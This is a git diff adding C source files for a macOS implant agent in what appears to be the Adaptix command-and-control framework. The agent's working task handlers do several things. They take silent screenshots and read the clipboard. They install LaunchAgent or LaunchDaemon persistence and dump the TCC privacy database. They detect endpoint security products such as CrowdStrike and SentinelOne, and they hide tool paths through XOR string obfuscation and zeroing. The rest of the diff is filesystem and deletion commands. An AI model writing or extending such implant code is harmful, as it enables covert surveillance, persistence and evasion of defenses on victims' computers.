+ parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path));
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ // Check if single file
+ struct stat st;
+ if (R_stat(path, &st) != 0) {
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 0);
+ mp_write_kv_str(w, "status", "path not found");
+ mp_write_kv_str(w, "path", path);
+ return 0;
+ }
+
+ // Build file list
+ mp_writer_t files_writer;
+ mp_writer_init(&files_writer, 4096);
+
+ if (S_ISDIR(st.st_mode)) {
+ DIR* dir = (DIR*)R_opendir(path);
+ if (!dir) {
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 0);
+ mp_write_kv_str(w, "status", "cannot open directory");
+ mp_write_kv_str(w, "path", path);
+ return 0;
+ }
+
+ // Count entries first
+ uint32_t count = 0;
+ struct dirent* ent;
+ while ((ent = (struct dirent*)R_readdir(dir)) != NULL) count++;
+ R_rewinddir(dir);
+
+ mp_write_array(&files_writer, count);
+ while ((ent = (struct dirent*)R_readdir(dir)) != NULL) {
+ char fullpath[4096];
+ ax_strncpy(fullpath, path, sizeof(fullpath) - 1);
+ size_t plen = ax_strlen(fullpath);
+ if (plen > 0 && fullpath[plen - 1] != '/') {
+ ax_strcat(fullpath, "/");
+ }
+ ax_strcat(fullpath, ent->d_name);
+
+ struct stat fst;
+ if (R_stat(fullpath, &fst) != 0) {
+ ax_memset(&fst, 0, sizeof(fst));
+ }
+
+ // Mode string
+ char mode[11];
+ mode[0] = S_ISDIR(fst.st_mode) ? 'd' : (S_ISLNK(fst.st_mode) ? 'l' : '-');
+ mode[1] = (fst.st_mode & S_IRUSR) ? 'r' : '-';
+ mode[2] = (fst.st_mode & S_IWUSR) ? 'w' : '-';
+ mode[3] = (fst.st_mode & S_IXUSR) ? 'x' : '-';
+ mode[4] = (fst.st_mode & S_IRGRP) ? 'r' : '-';
+ mode[5] = (fst.st_mode & S_IWGRP) ? 'w' : '-';
+ mode[6] = (fst.st_mode & S_IXGRP) ? 'x' : '-';
+ mode[7] = (fst.st_mode & S_IROTH) ? 'r' : '-';
+ mode[8] = (fst.st_mode & S_IWOTH) ? 'w' : '-';
+ mode[9] = (fst.st_mode & S_IXOTH) ? 'x' : '-';
+ mode[10] = '\0';
+
+ // User/Group
+ struct passwd* pw = (struct passwd*)R_getpwuid(fst.st_uid);
+ struct group* gr = (struct group*)R_getgrgid(fst.st_gid);
+ const char* user = pw ? pw->pw_name : "?";
+ const char* group = gr ? gr->gr_name : "?";
+
+ // Date
+ char date[64];
+ struct tm* tm = (struct tm*)R_localtime(&fst.st_mtime);
+ R_strftime(date, sizeof(date), "%b %d %H:%M", tm);
+
+ // FileInfo map (declaration order)
+ mp_write_map(&files_writer, 8);
+ mp_write_kv_str(&files_writer, "mode", mode);
+ mp_write_kv_int(&files_writer, "nlink", (int64_t)fst.st_nlink);
+ mp_write_kv_str(&files_writer, "user", user);
+ mp_write_kv_str(&files_writer, "group", group);
+ mp_write_kv_int(&files_writer, "size", (int64_t)fst.st_size);
+ mp_write_kv_str(&files_writer, "date", date);
+ mp_write_kv_str(&files_writer, "filename", ent->d_name);
+ mp_write_kv_bool(&files_writer, "is_dir", S_ISDIR(fst.st_mode) ? 1 : 0);
+ }
+ R_closedir(dir);
+ } else {
+ // Single file
+ mp_write_array(&files_writer, 1);
+
+ char mode[11];
+ mode[0] = '-';
+ mode[1] = (st.st_mode & S_IRUSR) ? 'r' : '-';
+ mode[2] = (st.st_mode & S_IWUSR) ? 'w' : '-';
+ mode[3] = (st.st_mode & S_IXUSR) ? 'x' : '-';
+ mode[4] = (st.st_mode & S_IRGRP) ? 'r' : '-';
+ mode[5] = (st.st_mode & S_IWGRP) ? 'w' : '-';
+ mode[6] = (st.st_mode & S_IXGRP) ? 'x' : '-';
+ mode[7] = (st.st_mode & S_IROTH) ? 'r' : '-';
+ mode[8] = (st.st_mode & S_IWOTH) ? 'w' : '-';
+ mode[9] = (st.st_mode & S_IXOTH) ? 'x' : '-';
+ mode[10] = '\0';
+
+ struct passwd* pw = (struct passwd*)R_getpwuid(st.st_uid);
+ struct group* gr = (struct group*)R_getgrgid(st.st_gid);
+ const char* user = pw ? pw->pw_name : "?";
+ const char* group = gr ? gr->gr_name : "?";
+
+ char date[64];
+ struct tm* tm = (struct tm*)R_localtime(&st.st_mtime);
+ R_strftime(date, sizeof(date), "%b %d %H:%M", tm);
+
+ // Extract basename
+ const char* basename = raw_path;
+ for (const char* p = raw_path; *p; p++) {
+ if (*p == '/') basename = p + 1;
+ }
+
+ mp_write_map(&files_writer, 8);
+ mp_write_kv_str(&files_writer, "mode", mode);
+ mp_write_kv_int(&files_writer, "nlink", (int64_t)st.st_nlink);
+ mp_write_kv_str(&files_writer, "user", user);
+ mp_write_kv_str(&files_writer, "group", group);
+ mp_write_kv_int(&files_writer, "size", (int64_t)st.st_size);
+ mp_write_kv_str(&files_writer, "date", date);
+ mp_write_kv_str(&files_writer, "filename", basename);
+ mp_write_kv_bool(&files_writer, "is_dir", 0);
+ }
+
+ // Ensure path ends with /
+ char display_path[4096];
+ ax_strncpy(display_path, path, sizeof(display_path) - 2);
+ size_t dlen = ax_strlen(display_path);
+ if (dlen > 0 && display_path[dlen - 1] != '/' && S_ISDIR(st.st_mode)) {
+ display_path[dlen] = '/';
+ display_path[dlen + 1] = '\0';
+ }
+
+ // Response: AnsLs {result, status, path, files}
+ mp_write_map(w, 4);
+ mp_write_kv_bool(w, "result", 1);
+ mp_write_kv_str(w, "status", "");
+ mp_write_kv_str(w, "path", display_path);
+ mp_write_kv_bin(w, "files", files_writer.buf.data, (uint32_t)files_writer.buf.len);
+
+ mp_writer_free(&files_writer);
+ return 0;
+}
+
+int task_cp(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char raw_src[4096] = {0}, raw_dst[4096] = {0};
+ if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src),
+ "dst", raw_dst, sizeof(raw_dst)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char src[4096], dst[4096];
+ normalize_path(raw_src, src, sizeof(src));
+ normalize_path(raw_dst, dst, sizeof(dst));
+
+ // Use macOS copyfile() for both files and directories
+ copyfile_flags_t flags = COPYFILE_ALL | COPYFILE_RECURSIVE;
+ if (R_copyfile(src, dst, NULL, flags) != 0) {
+ write_error(w, "copy failed");
+ return 0;
+ }
+
+ // No response body on success (nil equivalent)
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_mv(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char raw_src[4096] = {0}, raw_dst[4096] = {0};
+ if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src),
+ "dst", raw_dst, sizeof(raw_dst)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char src[4096], dst[4096];
+ normalize_path(raw_src, src, sizeof(src));
+ normalize_path(raw_dst, dst, sizeof(dst));
+
+ // Try rename first (same filesystem)
+ if (R_rename(src, dst) != 0) {
+ // Fallback: copy + delete
+ copyfile_flags_t flags = COPYFILE_ALL | COPYFILE_RECURSIVE;
+ if (R_copyfile(src, dst, NULL, flags) != 0) {
+ write_error(w, "move failed");
+ return 0;
+ }
+ // Delete source
+ struct stat st;
+ if (R_stat(src, &st) == 0) {
+ if (S_ISDIR(st.st_mode)) {
+ // Recursive delete — use a simple shell approach
+ // since we don't have nftw in nostdlib
+ // For now, just rmdir (works for empty dirs)
+ R_rmdir(src);
+ } else {
+ R_unlink(src);
+ }
+ }
+ }
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_mkdir(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char raw_path[4096] = {0};
+ if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ // Create directory with parents (simplified mkdirall)
+ char tmp[4096];
+ ax_strncpy(tmp, path, sizeof(tmp) - 1);
+ for (char* p = tmp + 1; *p; p++) {
+ if (*p == '/') {
+ *p = '\0';
+ R_mkdir(tmp, 0755);
+ *p = '/';
+ }
+ }
+ if (R_mkdir(tmp, 0755) != 0) {
+ struct stat st;
+ if (R_stat(tmp, &st) != 0 || !S_ISDIR(st.st_mode)) {
+ write_error(w, "mkdir failed");
+ return 0;
+ }
+ }
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_rm(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char raw_path[4096] = {0};
+ if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ struct stat st;
+ if (R_stat(path, &st) != 0) {
+ write_error(w, "path not found");
+ return 0;
+ }
+
+ if (S_ISDIR(st.st_mode)) {
+ // Recursive directory removal via fork+exec
+ DEOBF(rm_path, OBF_RM);
+ pid_t pid = R_fork();
+ if (pid == 0) {
+ R_execl(rm_path, "rm", "-rf", path, NULL);
+ R_exit(1);
+ } else if (pid > 0) {
+ int status;
+ R_waitpid(pid, &status, 0);
+ ZERO_STR(rm_path, OBF_RM);
+ if (WEXITSTATUS(status) != 0) {
+ write_error(w, "rm -rf failed");
+ return 0;
+ }
+ } else {
+ write_error(w, "fork failed");
+ return 0;
+ }
+ } else {
+ if (R_unlink(path) != 0) {
+ write_error(w, "unlink failed");
+ return 0;
+ }
+ }
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_zip(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char raw_src[4096] = {0}, raw_dst[4096] = {0};
+ if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src),
+ "dst", raw_dst, sizeof(raw_dst)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char src[4096], dst[4096];
+ normalize_path(raw_src, src, sizeof(src));
+ normalize_path(raw_dst, dst, sizeof(dst));
+
+ // Use ditto (macOS built-in) to create zip
+ DEOBF(ditto_path, OBF_DITTO);
+ pid_t pid = R_fork();
+ if (pid == 0) {
+ R_execl(ditto_path, "ditto", "-c", "-k", "--sequesterRsrc", src, dst, NULL);
+ R_exit(1);
+ } else if (pid > 0) {
+ int status;
+ R_waitpid(pid, &status, 0);
+ ZERO_STR(ditto_path, OBF_DITTO);
+ if (WEXITSTATUS(status) != 0) {
+ write_error(w, "zip failed");
+ return 0;
+ }
+ } else {
+ write_error(w, "fork failed");
+ return 0;
+ }
+
+ // Response: AnsZip {path}
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "path", dst);
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h
new file mode 100644
index 000000000..6af32ac6c
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h
@@ -0,0 +1,16 @@
+#ifndef TASKS_FS_H
+#define TASKS_FS_H
+
+#include "msgpack.h"
+#include
+
+int task_cd(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_cat(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_ls(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_cp(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_mv(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_mkdir(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_rm(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_zip(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+
+#endif // TASKS_FS_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c
new file mode 100644
index 000000000..89106265d
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c
@@ -0,0 +1,668 @@
+#include "tasks_macos.h"
+#include "crt.h"
+#include "dyld_resolve.h"
+#include "strings_obf.h"
+
+#include
+#include
+#include
+#include
+#include
+
+#ifdef DEBUG_TRACE
+#include "syscalls_arm64.h"
+static void _mdbg(const char* msg) {
+ size_t len = 0;
+ const char* p = msg;
+ while (*p++) len++;
+ sys_write(2, msg, len);
+ sys_write(2, "\n", 1);
+}
+#else
+#define _mdbg(msg) ((void)0)
+#endif
+
+static void write_error(mp_writer_t* w, const char* msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+// Helper: run a command and capture output
+static int run_capture(const char* prog, char* const argv[], char* output, size_t output_size) {
+ int pipefd[2];
+ if (R_pipe(pipefd) != 0) return -1;
+
+ pid_t pid = R_fork();
+ if (pid < 0) {
+ R_close(pipefd[0]); R_close(pipefd[1]);
+ return -1;
+ }
+ if (pid == 0) {
+ R_close(pipefd[0]);
+ R_dup2(pipefd[1], STDOUT_FILENO);
+ R_dup2(pipefd[1], STDERR_FILENO);
+ R_close(pipefd[1]);
+ extern char*** _NSGetEnviron(void);
+ char** environ = *_NSGetEnviron();
+ R_execve(prog, argv, environ);
+ R_exit(127);
+ }
+
+ R_close(pipefd[1]);
+ size_t total = 0;
+ ssize_t n;
+ while (total < output_size - 1 && (n = R_read(pipefd[0], output + total, output_size - 1 - total)) > 0) {
+ total += (size_t)n;
+ }
+ output[total] = '\0';
+ R_close(pipefd[0]);
+
+ int status;
+ R_waitpid(pid, &status, 0);
+ return WEXITSTATUS(status);
+}
+
+// Helper: dynamic buffer version of run_capture
+static int run_capture_buf(const char* prog, char* const argv[], buffer_t* out) {
+ int pipefd[2];
+ if (R_pipe(pipefd) != 0) return -1;
+
+ pid_t pid = R_fork();
+ if (pid < 0) {
+ R_close(pipefd[0]); R_close(pipefd[1]);
+ return -1;
+ }
+ if (pid == 0) {
+ R_close(pipefd[0]);
+ R_dup2(pipefd[1], STDOUT_FILENO);
+ R_dup2(pipefd[1], STDERR_FILENO);
+ R_close(pipefd[1]);
+ extern char*** _NSGetEnviron(void);
+ char** environ = *_NSGetEnviron();
+ R_execve(prog, argv, environ);
+ R_exit(127);
+ }
+
+ R_close(pipefd[1]);
+ char buf[4096];
+ ssize_t n;
+ while ((n = R_read(pipefd[0], buf, sizeof(buf))) > 0) {
+ buf_append(out, (uint8_t*)buf, (size_t)n);
+ }
+ R_close(pipefd[0]);
+
+ int status;
+ R_waitpid(pid, &status, 0);
+ return WEXITSTATUS(status);
+}
+
+// Parse a string field from msgpack
+static int parse_string_field(const uint8_t* data, uint32_t data_len,
+ const char* key_name, char* out, size_t out_size) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) return -1;
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) return -1;
+ if (kl == ax_strlen(key_name) && ax_memcmp(k, key_name, kl) == 0) {
+ const char* v; uint32_t vl;
+ if (mp_read_str(&r, &v, &vl) != 0) return -1;
+ if (vl >= out_size) vl = (uint32_t)(out_size - 1);
+ ax_memcpy(out, v, vl);
+ out[vl] = '\0';
+ return 0;
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+int task_screenshot(mp_writer_t* w) {
+ // Generate unique temp filename
+ DEOBF(tmp_prefix, OBF_TMP);
+ char tmpfile[64];
+ ax_strcpy(tmpfile, tmp_prefix);
+ ax_strcat(tmpfile, "/.ax_");
+ ZERO_STR(tmp_prefix, OBF_TMP);
+
+ uint8_t rnd[6];
+ ax_random_bytes(rnd, 6);
+ size_t pos = ax_strlen(tmpfile);
+ for (int i = 0; i < 6; i++) {
+ tmpfile[pos + i*2] = "0123456789abcdef"[(rnd[i] >> 4) & 0xf];
+ tmpfile[pos + i*2 + 1] = "0123456789abcdef"[rnd[i] & 0xf];
+ }
+ tmpfile[pos + 12] = '\0';
+ ax_strcat(tmpfile, ".png");
+
+ DEOBF(screencapture_path, OBF_SCREENCAPTURE);
+ _mdbg("[SCREENSHOT] path:");
+ _mdbg(screencapture_path);
+ _mdbg("[SCREENSHOT] tmpfile:");
+ _mdbg(tmpfile);
+ char* argv[] = { "screencapture", "-x", tmpfile, NULL };
+ int ret = run_capture(screencapture_path, argv, (char[1]){0}, 1);
+ ZERO_STR(screencapture_path, OBF_SCREENCAPTURE);
+
+#ifdef DEBUG_TRACE
+ {
+ char rbuf[48];
+ int ri = 0;
+ const char* rp = "[SCREENSHOT] ret=";
+ while (*rp) rbuf[ri++] = *rp++;
+ int rv = ret;
+ char nb[8]; int ni = 0;
+ if (rv == 0) { nb[ni++] = '0'; }
+ else { do { nb[ni++] = '0' + (rv % 10); rv /= 10; } while (rv > 0); }
+ while (ni > 0) rbuf[ri++] = nb[--ni];
+ rbuf[ri] = '\0';
+ _mdbg(rbuf);
+ }
+#endif
+
+ if (ret != 0) {
+ R_unlink(tmpfile);
+ write_error(w, "screencapture failed");
+ return 0;
+ }
+
+ int fd = R_open(tmpfile, O_RDONLY, 0);
+ if (fd < 0) {
+ _mdbg("[SCREENSHOT] cannot open tmpfile (TCC Screen Recording permission likely missing)");
+ write_error(w, "screenshot failed: file not created (Screen Recording TCC permission required)");
+ return 0;
+ }
+
+ buffer_t img;
+ buf_init(&img, 65536);
+ char buf[8192];
+ ssize_t n;
+ while ((n = R_read(fd, buf, sizeof(buf))) > 0) {
+ buf_append(&img, (uint8_t*)buf, (size_t)n);
+ }
+ R_close(fd);
+ R_unlink(tmpfile);
+
+#ifdef DEBUG_TRACE
+ {
+ char ibuf[48];
+ int ii = 0;
+ const char* ip = "[SCREENSHOT] img_len=";
+ while (*ip) ibuf[ii++] = *ip++;
+ size_t iv = img.len;
+ char nb[12]; int ni = 0;
+ do { nb[ni++] = '0' + (iv % 10); iv /= 10; } while (iv > 0);
+ while (ni > 0) ibuf[ii++] = nb[--ni];
+ ibuf[ii] = '\0';
+ _mdbg(ibuf);
+ }
+#endif
+
+ mp_write_map(w, 1);
+ mp_write_str(w, "screens", 7);
+ mp_write_array(w, 1);
+ mp_write_bin(w, img.data, (uint32_t)img.len);
+
+ buf_free(&img);
+ return 0;
+}
+
+int task_clipboard(mp_writer_t* w) {
+ buffer_t out;
+ buf_init(&out, 4096);
+
+ DEOBF(pbpaste_path, OBF_PBPASTE);
+ char* argv[] = { "pbpaste", NULL };
+ run_capture_buf(pbpaste_path, argv, &out);
+ ZERO_STR(pbpaste_path, OBF_PBPASTE);
+
+ char nul = '\0';
+ buf_append(&out, (uint8_t*)&nul, 1);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char*)out.data);
+
+ buf_free(&out);
+ return 0;
+}
+
+int task_persist(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char action[32] = {0}, method[32] = {0}, name[256] = {0};
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ const char* v; uint32_t vl;
+ if (kl == 6 && ax_memcmp(k, "action", 6) == 0) {
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(action)) { ax_memcpy(action, v, vl); action[vl] = '\0'; }
+ } else if (kl == 6 && ax_memcmp(k, "method", 6) == 0) {
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(method)) { ax_memcpy(method, v, vl); method[vl] = '\0'; }
+ } else if (kl == 4 && ax_memcmp(k, "name", 4) == 0) {
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(name)) { ax_memcpy(name, v, vl); name[vl] = '\0'; }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ buffer_t out;
+ buf_init(&out, 4096);
+
+ if (ax_strcmp(action, "status") == 0) {
+ DEOBF(launchctl_path, OBF_LAUNCHCTL);
+ char* argv[] = { "launchctl", "list", NULL };
+ run_capture_buf(launchctl_path, argv, &out);
+ ZERO_STR(launchctl_path, OBF_LAUNCHCTL);
+ } else if (ax_strcmp(action, "install") == 0) {
+ char exe_path[1024];
+ uint32_t exe_size = sizeof(exe_path);
+ extern int _NSGetExecutablePath(char*, uint32_t*);
+ _NSGetExecutablePath(exe_path, &exe_size);
+
+ char plist_path[1024];
+ if (ax_strcmp(method, "launchdaemon") == 0) {
+ DEOBF(ld_path, OBF_LAUNCH_DAEMONS);
+ ax_strcpy(plist_path, ld_path);
+ ax_strcat(plist_path, "/");
+ ZERO_STR(ld_path, OBF_LAUNCH_DAEMONS);
+ } else {
+ const char* home = R_getenv("HOME");
+ DEOBF(tmp_path, OBF_TMP);
+ if (!home) home = tmp_path;
+ ax_strcpy(plist_path, home);
+ ax_strcat(plist_path, "/");
+ DEOBF(la_path, OBF_LAUNCH_AGENTS);
+ ax_strcat(plist_path, la_path);
+ ax_strcat(plist_path, "/");
+ ZERO_STR(la_path, OBF_LAUNCH_AGENTS);
+ ZERO_STR(tmp_path, OBF_TMP);
+ }
+ ax_strcat(plist_path, name);
+ ax_strcat(plist_path, ".plist");
+
+ char plist[2048];
+ ax_strcpy(plist, "\n"
+ "\n"
+ "\n\n"
+ "\tLabel\n\t");
+ ax_strcat(plist, name);
+ ax_strcat(plist, "\n"
+ "\tProgramArguments\n\t\n\t\t");
+ ax_strcat(plist, exe_path);
+ ax_strcat(plist, "\n\t\n"
+ "\tRunAtLoad\n\t\n"
+ "\tKeepAlive\n\t\n"
+ "\n\n");
+
+ int fd = R_open(plist_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+ if (fd < 0) {
+ buf_free(&out);
+ write_error(w, "cannot write plist");
+ return 0;
+ }
+ R_write(fd, plist, ax_strlen(plist));
+ R_close(fd);
+
+ DEOBF(launchctl_path, OBF_LAUNCHCTL);
+ char* argv[] = { "launchctl", "load", "-w", plist_path, NULL };
+ run_capture_buf(launchctl_path, argv, &out);
+ ZERO_STR(launchctl_path, OBF_LAUNCHCTL);
+
+ char msg[1200];
+ ax_strcpy(msg, "Installed: ");
+ ax_strcat(msg, plist_path);
+ ax_strcat(msg, "\n");
+ buf_append(&out, (uint8_t*)msg, ax_strlen(msg));
+ } else if (ax_strcmp(action, "remove") == 0) {
+ char plist_path[1024];
+ if (ax_strcmp(method, "launchdaemon") == 0) {
+ DEOBF(ld_path, OBF_LAUNCH_DAEMONS);
+ ax_strcpy(plist_path, ld_path);
+ ax_strcat(plist_path, "/");
+ ZERO_STR(ld_path, OBF_LAUNCH_DAEMONS);
+ } else {
+ const char* home = R_getenv("HOME");
+ DEOBF(tmp_path, OBF_TMP);
+ if (!home) home = tmp_path;
+ ax_strcpy(plist_path, home);
+ ax_strcat(plist_path, "/");
+ DEOBF(la_path, OBF_LAUNCH_AGENTS);
+ ax_strcat(plist_path, la_path);
+ ax_strcat(plist_path, "/");
+ ZERO_STR(la_path, OBF_LAUNCH_AGENTS);
+ ZERO_STR(tmp_path, OBF_TMP);
+ }
+ ax_strcat(plist_path, name);
+ ax_strcat(plist_path, ".plist");
+
+ DEOBF(launchctl_path, OBF_LAUNCHCTL);
+ char* argv[] = { "launchctl", "unload", "-w", plist_path, NULL };
+ run_capture_buf(launchctl_path, argv, &out);
+ ZERO_STR(launchctl_path, OBF_LAUNCHCTL);
+ R_unlink(plist_path);
+
+ char msg[1200];
+ ax_strcpy(msg, "Removed: ");
+ ax_strcat(msg, plist_path);
+ buf_append(&out, (uint8_t*)msg, ax_strlen(msg));
+ } else {
+ buf_free(&out);
+ write_error(w, "unknown persist action");
+ return 0;
+ }
+
+ char nul = '\0';
+ buf_append(&out, (uint8_t*)&nul, 1);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char*)out.data);
+ buf_free(&out);
+ return 0;
+}
+
+int task_tcc_check(mp_writer_t* w) {
+ buffer_t out;
+ buf_init(&out, 4096);
+
+ const char* home = R_getenv("HOME");
+ char db_path[1024];
+ DEOBF(tcc_db, OBF_TCC_DB);
+ if (home) {
+ ax_strcpy(db_path, home);
+ ax_strcat(db_path, "/Library/Application Support/com.apple.TCC/TCC.db");
+ } else {
+ ax_strcpy(db_path, tcc_db);
+ }
+ ZERO_STR(tcc_db, OBF_TCC_DB);
+
+ DEOBF(sqlite3_path, OBF_SQLITE3);
+ char* argv[] = { "sqlite3", db_path, "SELECT service,client,auth_value FROM access;", NULL };
+ int ret = run_capture_buf(sqlite3_path, argv, &out);
+
+ if (ret != 0 || out.len == 0) {
+ buf_reset(&out);
+ DEOBF(tcc_db2, OBF_TCC_DB);
+ char* argv2[] = { "sqlite3", tcc_db2,
+ "SELECT service,client,auth_value FROM access;", NULL };
+ run_capture_buf(sqlite3_path, argv2, &out);
+ ZERO_STR(tcc_db2, OBF_TCC_DB);
+ }
+ ZERO_STR(sqlite3_path, OBF_SQLITE3);
+
+ if (out.len == 0) {
+ buf_free(&out);
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", "TCC database not readable (requires FDA)");
+ return 0;
+ }
+
+ char nul = '\0';
+ buf_append(&out, (uint8_t*)&nul, 1);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char*)out.data);
+ buf_free(&out);
+ return 0;
+}
+
+int task_defaults_read(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char domain[256] = {0};
+ parse_string_field(data, data_len, "domain", domain, sizeof(domain));
+
+ buffer_t out;
+ buf_init(&out, 4096);
+
+ DEOBF(defaults_path, OBF_DEFAULTS);
+ if (domain[0] != '\0') {
+ char* argv[] = { "defaults", "read", domain, NULL };
+ run_capture_buf(defaults_path, argv, &out);
+ } else {
+ char* argv[] = { "defaults", "read", NULL };
+ run_capture_buf(defaults_path, argv, &out);
+ }
+ ZERO_STR(defaults_path, OBF_DEFAULTS);
+
+ char nul = '\0';
+ buf_append(&out, (uint8_t*)&nul, 1);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char*)out.data);
+ buf_free(&out);
+ return 0;
+}
+
+int task_edr_check(mp_writer_t* w) {
+ buffer_t out;
+ buf_init(&out, 4096);
+
+ // EDR paths — decode each from OBF, check, zero
+ const uint8_t* edr_obf[] = {
+ OBF_EDR_CS_FALCONCTL, OBF_EDR_CS_FALCON, OBF_EDR_ADDIGY,
+ OBF_EDR_MALWAREBYTES, OBF_EDR_JAMF, OBF_EDR_S1_APP,
+ OBF_EDR_S1_LIB, OBF_EDR_ES_KEXT, OBF_EDR_SOPHOS,
+ OBF_EDR_ELASTIC, OBF_EDR_BLOCKBLOCK, OBF_EDR_LULU,
+ OBF_EDR_KNOCKKNOCK, OBF_EDR_REIKEY, OBF_EDR_XPROTECT,
+ };
+ const int edr_sizes[] = {
+ sizeof(OBF_EDR_CS_FALCONCTL), sizeof(OBF_EDR_CS_FALCON), sizeof(OBF_EDR_ADDIGY),
+ sizeof(OBF_EDR_MALWAREBYTES), sizeof(OBF_EDR_JAMF), sizeof(OBF_EDR_S1_APP),
+ sizeof(OBF_EDR_S1_LIB), sizeof(OBF_EDR_ES_KEXT), sizeof(OBF_EDR_SOPHOS),
+ sizeof(OBF_EDR_ELASTIC), sizeof(OBF_EDR_BLOCKBLOCK), sizeof(OBF_EDR_LULU),
+ sizeof(OBF_EDR_KNOCKKNOCK), sizeof(OBF_EDR_REIKEY), sizeof(OBF_EDR_XPROTECT),
+ };
+ const char* edr_names[] = {
+ "CrowdStrike Falcon (falconctl)", "CrowdStrike Falcon (support dir)",
+ "Addigy", "Malwarebytes", "Jamf", "SentinelOne Agent",
+ "SentinelOne (sentinel-agent)", "EndpointSecurity kext", "Sophos",
+ "Elastic Endpoint", "BlockBlock (Objective-See)", "LuLu (Objective-See)",
+ "KnockKnock (Objective-See)", "ReiKey (Objective-See)", "XProtect / Apple HV",
+ };
+
+ for (int i = 0; i < 15; i++) {
+ char path_buf[256];
+ xor_decode(path_buf, edr_obf[i], edr_sizes[i] - 1);
+
+ struct stat st;
+ if (R_stat(path_buf, &st) == 0) {
+ char line[256];
+ ax_strcpy(line, "[FOUND] ");
+ ax_strcat(line, edr_names[i]);
+ ax_strcat(line, "\n");
+ buf_append(&out, (uint8_t*)line, ax_strlen(line));
+ }
+
+ volatile char* vp = (volatile char*)path_buf;
+ for (int j = 0; j < (int)sizeof(path_buf); j++) vp[j] = 0;
+ }
+
+ // Check running processes
+ DEOBF(ps_path, OBF_PS);
+ char* argv[] = { "ps", "aux", NULL };
+ buffer_t ps_out;
+ buf_init(&ps_out, 8192);
+ run_capture_buf(ps_path, argv, &ps_out);
+ ZERO_STR(ps_path, OBF_PS);
+
+ char nul = '\0';
+ buf_append(&ps_out, (uint8_t*)&nul, 1);
+
+ const char* known_procs[] = {
+ "falcond", "falcon-sensor",
+ "SentinelAgent",
+ "elastic-agent",
+ "sophosd",
+ "jamfdaemon", "jamf",
+ NULL
+ };
+
+ for (int i = 0; known_procs[i]; i++) {
+ if (ax_strstr((const char*)ps_out.data, known_procs[i])) {
+ char line[256];
+ ax_strcpy(line, "[RUNNING] ");
+ ax_strcat(line, known_procs[i]);
+ ax_strcat(line, "\n");
+ buf_append(&out, (uint8_t*)line, ax_strlen(line));
+ }
+ }
+ buf_free(&ps_out);
+
+ if (out.len == 0) {
+ buf_append(&out, (uint8_t*)"No EDR products detected\n", 25);
+ }
+ buf_append(&out, (uint8_t*)&nul, 1);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char*)out.data);
+ buf_free(&out);
+ return 0;
+}
+
